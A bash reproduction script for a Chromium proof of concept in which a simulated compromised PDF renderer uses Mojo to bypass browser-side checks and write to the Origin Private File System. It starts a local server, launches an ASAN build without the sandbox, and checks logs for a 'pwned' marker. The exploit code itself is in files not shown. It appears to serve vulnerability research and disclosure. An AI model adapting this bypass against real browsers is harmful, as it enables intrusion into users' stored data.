#!/bin/bash
# Reproduction driver for the PDF-renderer -> OPFS bypass POC.
#
# Prerequisite: chromium-changes.patch has been applied to the Chromium tree
# and `autoninja -C out/asan chrome` has been run.
set -e

ARTIFACTS_DIR="$(cd "$(dirname "$0")" && pwd)"
CHROME="${CHROME:-/chromium/chromium/src/out/asan/chrome}"
PROFILE=/tmp/chrome-poc-profile

rm -rf "$PROFILE"

# Start the HTTP server (localhost is treated as a potentially-trustworthy
# origin, satisfying the only check in BindReceiver).
( cd "$ARTIFACTS_DIR" && python3 server.py ) &
SERVER_PID=$!
trap 'kill $SERVER_PID 2>/dev/null || true' EXIT
sleep 1

# Load the PDF. The PDF content frame runs in a process whose ProcessLock has
# is_pdf()==true. The injected code in PdfViewWebPluginClient simulates a
# compromised PDF renderer talking Mojo directly to the browser.
#
#   --no-sandbox is only required because the Linux SUID/userns sandbox is not
#   set up in this build environment; it does not affect the browser-side
#   ChildProcessSecurityPolicy gates being demonstrated.
timeout 60 "$CHROME" \
  --no-sandbox \
  --no-first-run --no-default-browser-check --ignore-gpu-blocklist \
  --disable-gpu \
  --user-data-dir="$PROFILE" \
  --enable-logging=stderr \
  http://127.0.0.1:8080/test.pdf 2>&1 \
  | grep -E '\[POC\]|FSMI|Terminating render|bad_message|reason 123'

echo
echo "On-disk OPFS path index for the serving origin:"
strings "$PROFILE/Default/WebStorage"/*/FileSystem/t/Paths/*.log 2>/dev/null \
  | grep -i pwned || true
